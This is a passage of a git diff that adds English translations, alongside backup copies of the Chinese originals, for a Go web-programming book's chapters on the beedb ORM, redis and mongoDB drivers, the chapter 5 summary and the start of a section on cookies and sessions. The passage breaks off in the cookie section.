`.OrderBy()` is for ordering results. The argument is the order condition. + +All the examples here are simply mapping records to structs. You can also just put the data into a map as follows: + + a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap() + +- `.Select()` tells beedb how many fields you want to get from the database table. If unspecified, all fields are returned by default. +- `.FindMap()` returns the `[]map[string][]byte` type, so you need to convert to other types yourself. + +## Delete data + +beedb provides rich methods to delete data. + +Example 1, delete a single record: + + // saveone is the one in above example. + orm.Delete(&saveone) + +Example 2, delete multiple records: + + // alluser is the slice which gets multiple records. + orm.DeleteAll(&alluser) + +Example 3, delete records by SQL: + + orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow() + +## Association queries + +beedb doesn't support joining between structs. +However, since some applications need this feature, here is an implementation: + + a, _ := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid") + .Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap() + +We see a new method called `.Join()` that has three arguments: + +- The first argument: Type of Join; INNER, LEFT, OUTER, CROSS, etc. +- The second argument: the table you want to join with. +- The third argument: join condition. + +## Group By and Having + +beedb also has an implementation of `group by` and `having`. + + a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap() + +- `.GroupBy()` indicates the field that is for group by. +- `.Having()` indicates conditions of having. + +## Future + +I have received a lot of feedback on beedb from many people all around world, and I'm thinking about reconfiguring the following aspects: + +- Implement an interface design similar to `database/sql/driver` in order to facilitate CRUD operations. +- Implement relational database associations like one to one, one to many and many to many. Here's a sample: + + type Profile struct { + Nickname string + Mobile string + } + type Userinfo struct { + Uid int + PK_Username string + Departname string + Created time.Time + Profile HasOne + } + +- Auto-create tables and indexes. +- Implement a connection pool using goroutines. + +## Links + +- [Directory](preface.md) +- Previous section: [PostgreSQL](05.4.md) +- Next section: [NoSQL database](05.6.md) diff --git a/en/05.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/05.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..e923db76 --- /dev/null +++ b/en/05.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,249 @@ +# 5.5 使用beedb库进行ORM开发 +beedb是我开发的一个Go进行ORM操作的库,它采用了Go style方式对数据库进行操作,实现了struct到数据表记录的映射。beedb是一个十分轻量级的Go ORM框架,开发这个库的本意降低复杂的ORM学习曲线,尽可能在ORM的运行效率和功能之间寻求一个平衡,beedb是目前开源的Go ORM框架中实现比较完整的一个库,而且运行效率相当不错,功能也基本能满足需求。但是目前还不支持关系关联,这个是接下来版本升级的重点。 + +beedb是支持database/sql标准接口的ORM库,所以理论上来说,只要数据库驱动支持database/sql接口就可以无缝的接入beedb。目前我测试过的驱动包括下面几个: + +Mysql:github.com/ziutek/mymysql/godrv[*] + +Mysql:code.google.com/p/go-mysql-driver[*] + +PostgreSQL:github.com/bmizerany/pq[*] + +SQLite:github.com/mattn/go-sqlite3[*] + +MS ADODB: github.com/mattn/go-adodb[*] + +ODBC: bitbucket.org/miquella/mgodbc[*] + +## 安装 + +beedb支持go get方式安装,是完全按照Go Style的方式来实现的。 + + go get github.com/astaxie/beedb + +## 如何初始化 +首先你需要import相应的数据库驱动包、database/sql标准接口包以及beedb包,如下所示: + + import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + ) + +导入必须的package之后,我们需要打开到数据库的链接,然后创建一个beedb对象(以MySQL为例),如下所示 + + db, err := sql.Open("mymysql", "test/xiemengjun/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + +beedb的New函数实际上应该有两个参数,第一个参数标准接口的db,第二个参数是使用的数据库引擎,如果你使用的数据库引擎是MySQL/Sqlite,那么第二个参数都可以省略。 + +如果你使用的数据库是SQLServer,那么初始化需要: + + orm = beedb.New(db, "mssql") + +如果你使用了PostgreSQL,那么初始化需要: + + orm = beedb.New(db, "pg") + +目前beedb支持打印调试,你可以通过如下的代码实现调试 + + beedb.OnDebug=true + +接下来我们的例子采用前面的数据库表Userinfo,现在我们建立相应的struct + + type Userinfo struct { + Uid int `PK` //如果表的主键不是id,那么需要加上pk注释,显式的说这个字段是主键 + Username string + Departname string + Created time.Time + } + +>注意一点,beedb针对驼峰命名会自动帮你转化成下划线字段,例如你定义了Struct名字为`UserInfo`,那么转化成底层实现的时候是`user_info`,字段命名也遵循该规则。 + +## 插入数据 +下面的代码演示了如何插入一条记录,可以看到我们操作的是struct对象,而不是原生的sql语句,最后通过调用Save接口将数据保存到数据库。 + + var saveone Userinfo + saveone.Username = "Test Add User" + saveone.Departname = "Test Add Departname" + saveone.Created = time.Now() + orm.Save(&saveone) + +我们看到插入之后`saveone.Uid`就是插入成功之后的自增ID。Save接口会自动帮你存进去。 + +beedb接口提供了另外一种插入的方式,map数据插入。 + + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + orm.SetTable("userinfo").Insert(add) + +插入多条数据 + + addslice := make([]map[string]interface{}, 0) + add:=make(map[string]interface{}) + add2:=make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + add2["username"] = "astaxie2" + add2["departname"] = "cloud develop2" + add2["created"] = "2012-12-02" + addslice =append(addslice, add, add2) + orm.SetTable("userinfo").InsertBatch(addslice) + +上面的操作方式有点类似链式查询,熟悉jquery的同学应该会觉得很亲切,每次调用的method都会返回原orm对象,以便可以继续调用该对象上的其他method。 + +上面我们调用的SetTable函数是显式的告诉ORM,我要执行的这个map对应的数据库表是`userinfo`。 + +## 更新数据 +继续上面的例子来演示更新操作,现在saveone的主键已经有值了,此时调用save接口,beedb内部会自动调用update以进行数据的更新而非插入操作。 + + saveone.Username = "Update Username" + saveone.Departname = "Update Departname" + saveone.Created = time.Now() + orm.Save(&saveone) //现在saveone有了主键值,就执行更新操作 + +更新数据也支持直接使用map操作 + + t := make(map[string]interface{}) + t["username"] = "astaxie" + orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) + +这里我们调用了几个beedb的函数 + +SetPK:显式的告诉ORM,数据库表`userinfo`的主键是`uid`。 + +Where:用来设置条件,支持多个参数,第一个参数如果为整数,相当于调用了Where("主键=?",值)。 +Updata函数接收map类型的数据,执行更新数据。 + +## 查询数据 +beedb的查询接口比较灵活,具体使用请看下面的例子 + +例子1,根据主键获取数据: + + var user Userinfo + //Where接受两个参数,支持整形参数 + orm.Where("uid=?", 27).Find(&user) + + +例子2: + + var user2 Userinfo + orm.Where(3).Find(&user2) // 这是上面版本的缩写版,可以省略主键 + +例子3,不是主键类型的的条件: + + var user3 Userinfo + //Where接受两个参数,支持字符型的参数 + orm.Where("name = ?", "john").Find(&user3) +例子4,更加复杂的条件: + + var user4 Userinfo + //Where支持三个参数 + orm.Where("name = ? and age < ?", "john", 88).Find(&user4) + + +可以通过如下接口获取多条数据,请看示例 + +例子1,根据条件id>3,获取20位置开始的10条数据的数据 + + var allusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers) + +例子2,省略limit第二个参数,默认从0开始,获取10条数据 + + var tenusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers) + +例子3,获取全部数据 + + var everyone []Userinfo + err := orm.OrderBy("uid desc,username asc").FindAll(&everyone) + +上面这些里面里面我们看到一个函数Limit,他是用来控制查询结构条数的。 + +Limit:支持两个参数,第一个参数表示查询的条数,第二个参数表示读取数据的起始位置,默认为0。 + +OrderBy:这个函数用来进行查询排序,参数是需要排序的条件。 + +上面这些例子都是将获取的的数据直接映射成struct对象,如果我们只是想获取一些数据到map,以下方式可以实现: + + a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap() + +上面和这个例子里面又出现了一个新的接口函数Select,这个函数用来指定需要查询多少个字段。默认为全部字段`*`。 + +FindMap()函数返回的是`[]map[string][]byte`类型,所以你需要自己作类型转换。 + +## 删除数据 +beedb提供了丰富的删除数据接口,请看下面的例子 + +例子1,删除单条数据 + + //saveone就是上面示例中的那个saveone + orm.Delete(&saveone) + +例子2,删除多条数据 + + //alluser就是上面定义的获取多条数据的slice + orm.DeleteAll(&alluser) + +例子3,根据sql删除数据 + + orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow() + + +## 关联查询 +目前beedb还不支持struct的关联关系,但是有些应用却需要用到连接查询,所以现在beedb提供了一个简陋的实现方案: + + a, _ := orm.SetTable("userinfo").Join("LEFT", "userdeatail", "userinfo.uid=userdeatail.uid").Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap() + +上面代码中我们看到了一个新的接口Join函数,这个函数带有三个参数 + +- 第一个参数可以是:INNER, LEFT, OUTER, CROSS等 +- 第二个参数表示连接的表 +- 第三个参数表示连接的条件 + + +## Group By和Having +针对有些应用需要用到group by和having的功能,beedb也提供了一个简陋的实现 + + a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap() + +上面的代码中出现了两个新接口函数 + +GroupBy:用来指定进行groupby的字段 + +Having:用来指定having执行的时候的条件 + +## 进一步的发展 +目前beedb已经获得了很多来自国内外用户的反馈,我目前也正在考虑重构,接下来会在几个方面进行改进 + +- 实现interface设计,类似databse/sql/driver的设计,设计beedb的接口,然后去实现相应数据库的CRUD操作 +- 实现关联数据库设计,支持一对一,一对多,多对多的实现,示例代码如下: + + + type Profile struct{ + Nickname string + Mobile string + } + + type Userinfo struct { + Uid int `PK` + Username string + Departname string + Created time.Time + Profile `HasOne` + } + +- 自动建库建表建索引 +- 实现连接池的实现,采用goroutine + +## links + * [目录]() + * 上一节: [使用PostgreSQL数据库](<05.4.md>) + * 下一节: [NOSQL数据库操作](<05.6.md>) diff --git a/en/05.6.md b/en/05.6.md index b68d564a..bf3bdc0a 100644 --- a/en/05.6.md +++ b/en/05.6.md @@ -1,114 +1,113 @@ -# 5.6 NOSQL数据库操作 -NoSQL(Not Only SQL),指的是非关系型的数据库。随着Web2.0的兴起,传统的关系数据库在应付Web2.0网站,特别是超大规模和高并发的SNS类型的Web2.0纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。 - -而Go语言作为21世纪的C语言,对NOSQL的支持也是很好,目前流行的NOSQL主要有redis、mongoDB、Cassandra和Membase等。这些数据库都有高性能、高并发读写等特点,目前已经广泛应用于各种应用中。我接下来主要讲解一下redis和mongoDB的操作。 - -## redis -redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)和zset(有序集合)。 - -目前应用redis最广泛的应该是新浪微博平台,其次还有Facebook收购的图片社交网站instagram。以及其他一些有名的[互联网企业](http://redis.io/topics/whos-using-redis) - -Go目前支持redis的驱动有如下 -- https://github.com/alphazero/Go-Redis -- http://code.google.com/p/tideland-rdc/ -- https://github.com/simonz05/godis -- https://github.com/hoisie/redis.go - -目前我fork了最后一个驱动,更新了一些bug,目前应用在我自己的短域名服务项目中(每天200W左右的PV值) - -https://github.com/astaxie/goredis - -接下来的以我自己fork的这个redis驱动为例来演示如何进行数据的操作 - - package main - - import ( - "github.com/astaxie/goredis" - "fmt" - ) - - func main() { - var client goredis.Client - // 设置端口为redis默认端口 - client.Addr = "127.0.0.1:6379" - - //字符串操作 - client.Set("a", []byte("hello")) - val, _ := client.Get("a") - fmt.Println(string(val)) - client.Del("a") - - //list操作 - vals := []string{"a", "b", "c", "d", "e"} - for _, v := range vals { - client.Rpush("l", []byte(v)) - } - dbvals,_ := client.Lrange("l", 0, 4) - for i, v := range dbvals { - println(i,":",string(v)) - } - client.Del("l") - } - -我们可以看到操作redis非常的方便,而且我实际项目中应用下来性能也很高。client的命令和redis的命令基本保持一致。所以和原生态操作redis非常类似。 - -## mongoDB - -MongoDB是一个高性能,开源,无模式的文档型数据库,是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。他支持的数据结构非常松散,采用的是类似json的bjson格式来存储数据,因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。 - -下图展示了mysql和mongoDB之间的对应关系,我们可以看出来非常的方便,但是mongoDB的性能非常好。 - -![](images/5.6.mongodb.png?raw=true) - -图5.1 MongoDB和Mysql的操作对比图 - -目前Go支持mongoDB最好的驱动就是[mgo](http://labix.org/mgo),这个驱动目前最有可能成为官方的pkg。 - -下面我将演示如何通过Go来操作mongoDB: - - package main - - import ( - "fmt" - "labix.org/v2/mgo" - "labix.org/v2/mgo/bson" - ) - - type Person struct { - Name string - Phone string - } - - func main() { - session, err := mgo.Dial("server1.example.com,server2.example.com") - if err != nil { - panic(err) - } - defer session.Close() - - session.SetMode(mgo.Monotonic, true) - - c := session.DB("test").C("people") - err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, - &Person{"Cla", "+55 53 8402 8510"}) - if err != nil { - panic(err) - } - - result := Person{} - err = c.Find(bson.M{"name": "Ale"}).One(&result) - if err != nil { - panic(err) - } - - fmt.Println("Phone:", result.Phone) - } - -我们可以看出来mgo的操作方式和beedb的操作方式几乎类似,都是基于struct的操作方式,这个就是Go Style。 - - - -## links - * [目录]() - * 上一节: [使用beedb库进行ORM开发](<05.5.md>) - * 下一节: [小结](<05.7.md>) +# 5.6 NoSQL database + +A NoSQL database provides a mechanism for the storage and retrieval of data that uses looser consistency models than typical relational databases in order to achieve horizontal scaling and higher availability. Some authors refer to them as "Not only SQL" to emphasize that some NoSQL systems do allow SQL-like query languages to be used. + +As the C language of the 21st century, Go has good support for NoSQL databases, including the popular redis, mongoDB, Cassandra and Membase NoSQL databases. + +## redis + +redis is a key-value storage system like Memcached, that supports the string, list, set and zset(ordered set) value types. + +There are some Go database drivers for redis: + +- [https://github.com/alphazero/Go-Redis](https://github.com/alphazero/Go-Redis) +- [http://code.google.com/p/tideland-rdc/](http://code.google.com/p/tideland-rdc/) +- [https://github.com/simonz05/godis](https://github.com/simonz05/godis) +- [https://github.com/hoisie/redis.go](https://github.com/hoisie/redis.go) + +I forked the last of these packages, fixed some bugs, and used it in my short URL service (2 million PV every day). + +- [https://github.com/astaxie/goredis](https://github.com/astaxie/goredis) + +Let's see how to use the driver that I forked to operate on a database: + + package main + + import ( + "github.com/astaxie/goredis" + "fmt" + ) + + func main() { + var client goredis.Client + + // Set the default port in Redis + client.Addr = "127.0.0.1:6379" + + // string manipulation + client.Set("a", []byte("hello")) + val, _ := client.Get("a") + fmt.Println(string(val)) + client.Del("a") + + // list operation + vals := []string{"a", "b", "c", "d", "e"} + for _, v := range vals { + client.Rpush("l", []byte(v)) + } + dbvals,_ := client.Lrange("l", 0, 4) + for i, v := range dbvals { + println(i,":",string(v)) + } + client.Del("l") + } + +We can see that it's quite easy to operate redis in Go, and it has high performance. Its client commands are almost the same as redis' built-in commands. + +## mongoDB + +mongoDB (from "humongous") is an open source document-oriented database system developed and supported by 10gen. It is part of the NoSQL family of database systems. Instead of storing data in tables as is done in a "classical" relational database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format BSON), making the integration of data in certain types of applications easier and faster. + +![](images/5.6.mongodb.png?raw=true) + +Figure 5.1 MongoDB compared to Mysql + +The best driver for mongoDB is called `mgo`, and it is possible that it will be included in the standard library in the future. + +Here is the example: + + package main + + import ( + "fmt" + "labix.org/v2/mgo" + "labix.org/v2/mgo/bson" + ) + + type Person struct { + Name string + Phone string + } + + func main() { + session, err := mgo.Dial("server1.example.com,server2.example.com") + if err != nil { + panic(err) + } + defer session.Close() + + session.SetMode(mgo.Monotonic, true) + + c := session.DB("test").C("people") + err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, + &Person{"Cla", "+55 53 8402 8510"}) + if err != nil { + panic(err) + } + + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + if err != nil { + panic(err) + } + + fmt.Println("Phone:", result.Phone) + } + +We can see that there are no big differences when it comes to operating on mgo or beedb databases; they are both based on structs. This is the Go way of doing things. + +## Links + +- [Directory](preface.md) +- Previous section: [Develop ORM based on beedb](05.5.md) +- Next section: [Summary](05.7.md) diff --git a/en/05.6.md~380a8ee74c41759d8189ad553423467994187253 b/en/05.6.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..3fa765c2 --- /dev/null +++ b/en/05.6.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,114 @@ +# 5.6 NOSQL数据库操作 +NoSQL(Not Only SQL),指的是非关系型的数据库。随着Web2.0的兴起,传统的关系数据库在应付Web2.0网站,特别是超大规模和高并发的SNS类型的Web2.0纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。 + +而Go语言作为21世纪的C语言,对NOSQL的支持也是很好,目前流行的NOSQL主要有redis、mongoDB、Cassandra和Membase等。这些数据库都有高性能、高并发读写等特点,目前已经广泛应用于各种应用中。我接下来主要讲解一下redis和mongoDB的操作。 + +## redis +redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)和zset(有序集合)。 + +目前应用redis最广泛的应该是新浪微博平台,其次还有Facebook收购的图片社交网站instagram。以及其他一些有名的[互联网企业](http://redis.io/topics/whos-using-redis) + +Go目前支持redis的驱动有如下 +- https://github.com/alphazero/Go-Redis +- http://code.google.com/p/tideland-rdc/ +- https://github.com/simonz05/godis +- https://github.com/hoisie/redis.go + +目前我fork了最后一个驱动,更新了一些bug,目前应用在我自己的短域名服务项目中(每天200W左右的PV值) + +https://github.com/astaxie/goredis + +接下来的以我自己fork的这个redis驱动为例来演示如何进行数据的操作 + + package main + + import ( + "github.com/astaxie/goredis" + "fmt" + ) + + func main() { + var client goredis.Client + // 设置端口为redis默认端口 + client.Addr = "127.0.0.1:6379" + + //字符串操作 + client.Set("a", []byte("hello")) + val, _ := client.Get("a") + fmt.Println(string(val)) + client.Del("a") + + //list操作 + vals := []string{"a", "b", "c", "d", "e"} + for _, v := range vals { + client.Rpush("l", []byte(v)) + } + dbvals,_ := client.Lrange("l", 0, 4) + for i, v := range dbvals { + println(i,":",string(v)) + } + client.Del("l") + } + +我们可以看到操作redis非常的方便,而且我实际项目中应用下来性能也很高。client的命令和redis的命令基本保持一致。所以和原生态操作redis非常类似。 + +## mongoDB + +MongoDB是一个高性能,开源,无模式的文档型数据库,是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。他支持的数据结构非常松散,采用的是类似json的bjson格式来存储数据,因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。 + +下图展示了mysql和mongoDB之间的对应关系,我们可以看出来非常的方便,但是mongoDB的性能非常好。 + +![](images/5.6.mongodb.png?raw=true) + +图5.1 MongoDB和Mysql的操作对比图 + +目前Go支持mongoDB最好的驱动就是[mgo](http://labix.org/mgo),这个驱动目前最有可能成为官方的pkg。 + +下面我将演示如何通过Go来操作mongoDB: + + package main + + import ( + "fmt" + "labix.org/v2/mgo" + "labix.org/v2/mgo/bson" + ) + + type Person struct { + Name string + Phone string + } + + func main() { + session, err := mgo.Dial("server1.example.com,server2.example.com") + if err != nil { + panic(err) + } + defer session.Close() + + session.SetMode(mgo.Monotonic, true) + + c := session.DB("test").C("people") + err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, + &Person{"Cla", "+55 53 8402 8510"}) + if err != nil { + panic(err) + } + + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + if err != nil { + panic(err) + } + + fmt.Println("Phone:", result.Phone) + } + +我们可以看出来mgo的操作方式和beedb的操作方式几乎类似,都是基于struct的操作方式,这个就是Go Style。 + + + +## links + * [目录]() + * 上一节: [使用beedb库进行ORM开发](<05.5.md>) + * 下一节: [小结](<05.7.md>) diff --git a/en/05.7.md b/en/05.7.md index 2abc0c7d..96c8bf8e 100644 --- a/en/05.7.md +++ b/en/05.7.md @@ -1,11 +1,11 @@ -# 5.7 小结 -这一章我们讲解了Go如何设计database/sql接口,然后介绍了各种第三方关系型数据库驱动的使用。接着介绍了beedb,一种基于关系型数据库的ORM库,如何对数据库进行简单的操作。最后介绍了NOSQL的一些知识,目前Go对于NOSQL支持还是不错,因为Go作为21世纪的C语言,那么对于21世纪的数据库也是支持的相当好。 - -通过这一章的学习,我们学会了如何操作各种数据库,那么就解决了我们数据存储的问题,这是Web里面最重要的一部分,所以希望大家能够深入的去了解database/sql的设计思想。 - ->[Go database/sql tutorial](http://go-database-sql.org/) 里提供了惯用的范例及详细的说明。 - -## links - * [目录]() - * 上一节: [NOSQL数据库操作](<05.6.md>) - * 下一章: [session和数据存储](<06.0.md>) +# 5.7 Summary + +In this chapter, you first learned about the design of the `database/sql` interface and many third-party database drivers for various database types. Then I introduced beedb, an ORM for relational databases, to you. I also showed you some sample database operations. In the end, I talked about a few NoSQL databases. We saw that Go provides very good support for those NoSQL databases. + +After reading this chapter, I hope that you have a better understanding of how to operate databases in Go. This is the most important part of web development, so I want you to completely understand the design concepts of the `database/sql` interface. + +## Links + +- [Directory](preface.md) +- Previous section: [NoSQL database](05.6.md) +- Next section: [Data storage and session](06.0.md) diff --git a/en/05.7.md~380a8ee74c41759d8189ad553423467994187253 b/en/05.7.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..0fd1e056 --- /dev/null +++ b/en/05.7.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,11 @@ +# 5.7 小结 +这一章我们讲解了Go如何设计database/sql接口,然后介绍了各种第三方关系型数据库驱动的使用。接着介绍了beedb,一种基于关系型数据库的ORM库,如何对数据库进行简单的操作。最后介绍了NOSQL的一些知识,目前Go对于NOSQL支持还是不错,因为Go作为21世纪的C语言,那么对于21世纪的数据库也是支持的相当好。 + +通过这一章的学习,我们学会了如何操作各种数据库,那么就解决了我们数据存储的问题,这是Web里面最重要的一部分,所以希望大家能够深入的去了解database/sql的设计思想。 + +>[Go database/sql tutorial](http://go-database-sql.org/) 里提供了惯用的范例及详细的说明。 + +## links + * [目录]() + * 上一节: [NOSQL数据库操作](<05.6.md>) + * 下一章: [session和数据存储](<06.0.md>) diff --git a/en/06.0.md b/en/06.0.md index 5e727074..2c517a6d 100644 --- a/en/06.0.md +++ b/en/06.0.md @@ -1,12 +1,11 @@ -# 6 session和数据存储 -Web开发中一个很重要的议题就是如何做好用户的整个浏览过程的控制,因为HTTP协议是无状态的,所以用户的每一次请求都是无状态的,我们不知道在整个Web操作过程中哪些连接与该用户有关,我们应该如何来解决这个问题呢?Web里面经典的解决方案是cookie和session,cookie机制是一种客户端机制,把用户数据保存在客户端,而session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构来保存信息,每一个网站访客都会被分配给一个唯一的标志符,即sessionID,它的存放形式无非两种:要么经过url传递,要么保存在客户端的cookies里.当然,你也可以将Session保存到数据库里,这样会更安全,但效率方面会有所下降。 - -6.1小节里面讲介绍session机制和cookie机制的关系和区别,6.2讲解Go语言如何来实现session,里面讲实现一个简易的session管理器,6.3小节讲解如何防止session被劫持的情况,如何有效的保护session。我们知道session其实可以存储在任何地方,6.3小节里面实现的session是存储在内存中的,但是如果我们的应用进一步扩展了,要实现应用的session共享,那么我们可以把session存储在数据库中(memcache或者redis),6.4小节将详细的讲解如何实现这些功能。 - -## 目录 - ![](images/navi6.png?raw=true) - -## links - * [目录]() - * 上一章: [第五章总结](<05.7.md>) - * 下一节: [session和cookie](<06.1.md>) +# 6 Data storage and sessions + +An important topic in web development is providing a good user experience, but the fact that HTTP is a stateless protocol seems contrary to this spirit. How can we control the whole process of viewing websites for users? The classic solutions are using cookies and sessions, where cookies serve as the client side mechanism and sessions are saved on the server side with a unique identifier for every single user. Note that sessions can be passed in URLs or cookies, or even in your database (which is much more secure, but may hamper your application performance). + +In section 6.1, we are going to talk about differences between cookies and sessions. In section 6.2, you'll learn how to use sessions in Go with an implementation of a session manager. In section 6.3, we will talk about session hijacking and how to prevent it when you know that sessions can be saved anywhere. The session manager we will implement in section 6.3 will save sessions in memory, but if we need to expand our application to allow for session sharing, it's always better to save these sessions directly into our database. We'll talk more about this in section 6.4. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 5 Summary](05.7.md) +- Next section: [Session and cookies](06.1.md) diff --git a/en/06.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/06.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..ad620a3a --- /dev/null +++ b/en/06.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,12 @@ +# 6 session和数据存储 +Web开发中一个很重要的议题就是如何做好用户的整个浏览过程的控制,因为HTTP协议是无状态的,所以用户的每一次请求都是无状态的,我们不知道在整个Web操作过程中哪些连接与该用户有关,我们应该如何来解决这个问题呢?Web里面经典的解决方案是cookie和session,cookie机制是一种客户端机制,把用户数据保存在客户端,而session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构来保存信息,每一个网站访客都会被分配给一个唯一的标志符,即sessionID,它的存放形式无非两种:要么经过url传递,要么保存在客户端的cookies里.当然,你也可以将Session保存到数据库里,这样会更安全,但效率方面会有所下降。 + +6.1小节里面讲介绍session机制和cookie机制的关系和区别,6.2讲解Go语言如何来实现session,里面讲实现一个简易的session管理器,6.3小节讲解如何防止session被劫持的情况,如何有效的保护session。我们知道session其实可以存储在任何地方,6.3小节里面实现的session是存储在内存中的,但是如果我们的应用进一步扩展了,要实现应用的session共享,那么我们可以把session存储在数据库中(memcache或者redis),6.4小节将详细的讲解如何实现这些功能。 + +## 目录 + ![](images/navi6.png?raw=true) + +## links + * [目录]() + * 上一章: [第五章总结](<05.7.md>) + * 下一节: [session和cookie](<06.1.md>) diff --git a/en/06.1.md b/en/06.1.md index 798ac4c8..48da2d80 100644 --- a/en/06.1.md +++ b/en/06.1.md @@ -1,105 +1,111 @@ -# 6.1 session和cookie -session和cookie是网站浏览中较为常见的两个概念,也是比较难以辨析的两个概念,但它们在浏览需要认证的服务页面以及页面统计中却相当关键。我们先来了解一下session和cookie怎么来的?考虑这样一个问题: - -如何抓取一个访问受限的网页?如新浪微博好友的主页,个人微博页面等。 - -显然,通过浏览器,我们可以手动输入用户名和密码来访问页面,而所谓的“抓取”,其实就是使用程序来模拟完成同样的工作,因此我们需要了解“登陆”过程中到底发生了什么。 - -当用户来到微博登陆页面,输入用户名和密码之后点击“登录”后浏览器将认证信息POST给远端的服务器,服务器执行验证逻辑,如果验证通过,则浏览器会跳转到登录用户的微博首页,在登录成功后,服务器如何验证我们对其他受限制页面的访问呢?因为HTTP协议是无状态的,所以很显然服务器不可能知道我们已经在上一次的HTTP请求中通过了验证。当然,最简单的解决方案就是所有的请求里面都带上用户名和密码,这样虽然可行,但大大加重了服务器的负担(对于每个request都需要到数据库验证),也大大降低了用户体验(每个页面都需要重新输入用户名密码,每个页面都带有登录表单)。既然直接在请求中带上用户名与密码不可行,那么就只有在服务器或客户端保存一些类似的可以代表身份的信息了,所以就有了cookie与session。 - -cookie,简而言之就是在本地计算机保存一些用户操作的历史信息(当然包括登录信息),并在用户再次访问该站点时浏览器通过HTTP协议将本地cookie内容发送给服务器,从而完成验证,或继续上一步操作。 - -![](images/6.1.cookie2.png?raw=true) - -图6.1 cookie的原理图 - -session,简而言之就是在服务器上保存用户操作的历史信息。服务器使用session id来标识session,session id由服务器负责产生,保证随机性与唯一性,相当于一个随机密钥,避免在握手或传输中暴露用户真实密码。但该方式下,仍然需要将发送请求的客户端与session进行对应,所以可以借助cookie机制来获取客户端的标识(即session id),也可以通过GET方式将id提交给服务器。 - -![](images/6.1.session.png?raw=true) - -图6.2 session的原理图 - -## cookie -Cookie是由浏览器维持的,存储在客户端的一小段文本信息,伴随着用户请求和页面在Web服务器和浏览器之间传递。用户每次访问站点时,Web应用程序都可以读取cookie包含的信息。浏览器设置里面有cookie隐私数据选项,打开它,可以看到很多已访问网站的cookies,如下图所示: - -![](images/6.1.cookie.png?raw=true) - -图6.3 浏览器端保存的cookie信息 - -cookie是有时间限制的,根据生命期不同分成两种:会话cookie和持久cookie; - -如果不设置过期时间,则表示这个cookie生命周期为从创建到浏览器关闭止,只要关闭浏览器窗口,cookie就消失了。这种生命期为浏览会话期的cookie被称为会话cookie。会话cookie一般不保存在硬盘上而是保存在内存里。 - -如果设置了过期时间(setMaxAge(60*60*24)),浏览器就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie依然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而对于保存在内存的cookie,不同的浏览器有不同的处理方式。 -   - -### Go设置cookie -Go语言中通过net/http包中的SetCookie来设置: - - http.SetCookie(w ResponseWriter, cookie *Cookie) - -w表示需要写入的response,cookie是一个struct,让我们来看一下cookie对象是怎么样的 - - type Cookie struct { - Name string - Value string - Path string - Domain string - Expires time.Time - RawExpires string - - // MaxAge=0 means no 'Max-Age' attribute specified. - // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' - // MaxAge>0 means Max-Age attribute present and given in seconds - MaxAge int - Secure bool - HttpOnly bool - Raw string - Unparsed []string // Raw text of unparsed attribute-value pairs - } - -我们来看一个例子,如何设置cookie - - expiration := time.Now() - expiration = expiration.AddDate(1, 0, 0) - cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} - http.SetCookie(w, &cookie) - -   -### Go读取cookie 